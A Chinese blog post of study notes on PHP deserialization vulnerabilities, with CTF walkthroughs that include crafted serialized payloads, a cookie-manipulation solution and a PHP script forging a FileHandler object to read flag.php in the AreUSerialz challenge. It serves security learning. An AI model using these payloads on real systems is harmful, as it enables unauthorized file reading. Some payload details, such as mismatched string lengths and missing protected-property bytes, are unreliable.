反序列化漏洞以及一些笔记

**

反序列化漏洞

**

反序列化漏洞##

什么是序列化

将复杂的数据结构转换为可以作为有顺序的字节流发送、或者转化为更扁平的格式以方便接收。

序列化使如下操作更简单:

  • 写入复杂的数据到进程间的内存、文件或者数据库

  • 发送复杂的数据,例如在网络、应用程序的不同组件之间、在API中调用复杂数据

当一个对象被序列化的时候,它的状态也就成了一种“持久态”。即对象属性极其分配的值都被保留下来

什么是反序列化

反序列化是将此字节流恢复为原始对象的完整功能副本的过程,其状态与序列化时的状态完全相同。

之后网站的一些逻辑便可以与这个反序列化的对象进行交互。

许多编程语言都对反序列化有支持。而对象序列化的方法取决于语言的不同:有的转化为2进制,有的转化为不同的字符串格式。

所有的对象属性都储存在序列化的数据流中,为了防止被序列化,可以在类的声明中标记为transient

PHP反序列化漏洞

php序列化与反序列化的关键函数:

  • serialize() 将一个对象转换成字符串 ,即一个序列化函数

  • unserialize() 将字符串还原成一个对象,即一个反序列化函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oP2PJbAn-1649780766172)(V:/Markdown%E6%96%87%E6%A1%A3/images/640.webp)]

简单(无类)情况

简单实例,如下是一串简单的PHP代码,index.php里面包含了flag.php 这个文件


<?php

// 关闭错误报告

error_reporting(0);

include "flag.php";

$key="020202";

$str=$_GET['str'];

if(unserialize($str)==="$key"){

  echo "$flag";

}

show_source(__FILE__); 

//show_source() 函数对文件进行语法高亮显示。

?>

flag.php文件内容如下


<?php

$flag="flag{020202020020}"   

?>

逻辑解释:当通过URL传递参数到str变量中,如果传递的变量反序列化出来与"$key"相同(三个等于号),那么就输出flag.php里面的flag参数内容,所以可以在URL中输入:


http://127.0.0.1/web/serialize/index.php?str=s:6:"22020202";

在不确定是什么形式的序列化字符串,可以去在线工具里尝试


<?php

$key=020202;

echo serialize($key);

?>

// i:8322;



陷阱(无类)情况

下面是一个反序列化漏洞的陷阱CTF题目


<?php

error_reporting(0);

// 隐藏报错内容

include("flag.php");

$cookie=$_COOKIE['Bob'];

if(isset($_GET['hint'])){

  show_source(__FILE__);

}elseif(unserialize($cookie)==="$key"){

	echo "$flag";

}else{

  $key="123456";

}

?>

从代码可以看到,代码获取Bob的cookie内容,然后与key元素作比较,如果反序列化出来内容相同,则输出flag,但是这里面有两个陷阱:

  • 在渗透时,只有输入?hint=的时候才会展示出源代码,而后面的内容则不再执行下去,即hint值存在才会展示源代码,但是一旦展示源代码,后面的内容则不再执行

  • 代码执行顺序的陷阱,key的值只有在else条件下才会被赋值,所以之前与cookie比较的值为空值

根据内容,此题的正确解法修改的cookie内容:


Cookie: Bob=s:0:"";

PHP魔术方法

魔术方法链接


__construct(),类的构造函数



__destruct(),类的析构函数



__call(),在对象中调用一个不可访问方法时调用



__callStatic(),用静态方式中调用一个不可访问方法时调用



__get(),获得一个类的成员变量时调用



__set(),设置一个类的成员变量时调用



__isset(),当对不可访问属性调用isset()empty()时调用



__unset(),当对不可访问属性调用unset()时被调用。



__sleep(),执行serialize()时,先会调用这个函数



__wakeup(),执行unserialize()时,先会调用这个函数



__toString(),类被当成字符串时的回应方法



__invoke(),调用函数的方式调用一个对象时的回应方法



__set_state(),调用var_export()导出类时,此静态方法会被调用。



__clone(),当对象复制完成时调用



__autoload(),尝试加载未定义的类



__debugInfo(),打印所需调试信息



范例

例如下面的代码执行顺序


<?php

error_reporting(0);



class ABC{

  public $test;

  function __construct(){

    $test=1;

    echo "调用了构造函数<br>";

  }

  function __destruct(){

    echo "调用了析构函数<br>";

  }

  function __wakeup(){

    echo "调用了苏醒函数<br>";

  }

}

echo "创建对象a<br>";

$a=new ABC();

echo "序列化<br>";

$a_ser=serialize($a);

echo "反序列化<br>";

$a_unser=unserialize($a_ser);

echo "对象快要死了";



// 创建对象a

// 调用了构造函数

// 序列化

// 反序列化

// 调用了苏醒函数

// 对象快要死了调用了析构函数

// 调用了析构函数

简单(有类)情况

CTFHub-2020网鼎杯AreUSerialz


<?php



include("flag.php");



highlight_file(__FILE__);



class FileHandler {



  protected $op;

  protected $filename;

  protected $content;



  function __construct() {

    $op = "1";

    $filename = "/tmp/tmpfile";

    $content = "Hello World!";

    $this->process();

  }



  public function process() {

    if($this->op == "1") {

      $this->write();

    } else if($this->op == "2") {

      $res = $this->read();

      $this->output($res);

    } else {

      $this->output("Bad Hacker!");

    }

  }



  private function write() {

    if(isset($this->filename) && isset($this->content)) {

      if(strlen((string)$this->content) > 100) {

        $this->output("Too long!");

        die();

      }

      $res = file_put_contents($this->filename, $this->content);

      if($res) $this->output("Successful!");

      else $this->output("Failed!");

    } else {

      $this->output("Failed!");

    }

  }



  private function read() {

    $res = "";

    if(isset($this->filename)) {

      $res = file_get_contents($this->filename);

    }

    return $res;

  }



  private function output($s) {

    echo "[Result]: <br>";

    echo $s;

  }



  function __destruct() {

    if($this->op === "2")

      $this->op = "1";

    $this->content = "";

    $this->process();

  }



}



function is_valid($s) {

  for($i = 0; $i < strlen($s); $i++)

    if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

      return false;

  return true;

}



if(isset($_GET{'str'})) {



  $str = (string)$_GET['str'];

  if(is_valid($str)) {

    $obj = unserialize($str);

  }



}

代码逻辑

  1. 传入参数str,将其转换为字符串类型,判断是否是ASCII在32到125之间的内容

  2. 反序列化str参数之前,自动调用__wakeup()魔术方法

  3. 调用析构函数__destruct()如果op 参数为 “2”,则自动转换成“1”,将content转换为“”,并调用process()函数

  4. process()函数里判断op的值来决定读写,即读取并输出flag.php中的值

解题方法

  1. 这有一个反序列化的函数unserialize(),就说明需要传入序列化参数

  2. 析构函数中存在过滤,可以利用 =====的差异性进行绕过

  3. 需要熟悉魔术函数的调用顺序,即__wakeup() -> unserialize() -> __destruct()

  4. 执行代码:


<?php



class FileHandler{

  protected $op=' 2'; //绕过检测

  protected $filename="flag.php";

  protected $content="yzp";

}

$flag=new FileHandler();

$flag_1=serialize($flag);

echo $flag_1;

?>

获得序列化字符串


O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"yzp";}

最后在URL上传入参数即可

总结:

强弱类型对比是一个绕过PHP检测的方法,== 只比较值而不比较类型,=== 是类型和值都必须相同

此外,魔术方法的调用顺序需要仔细掌握

0
4
7

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值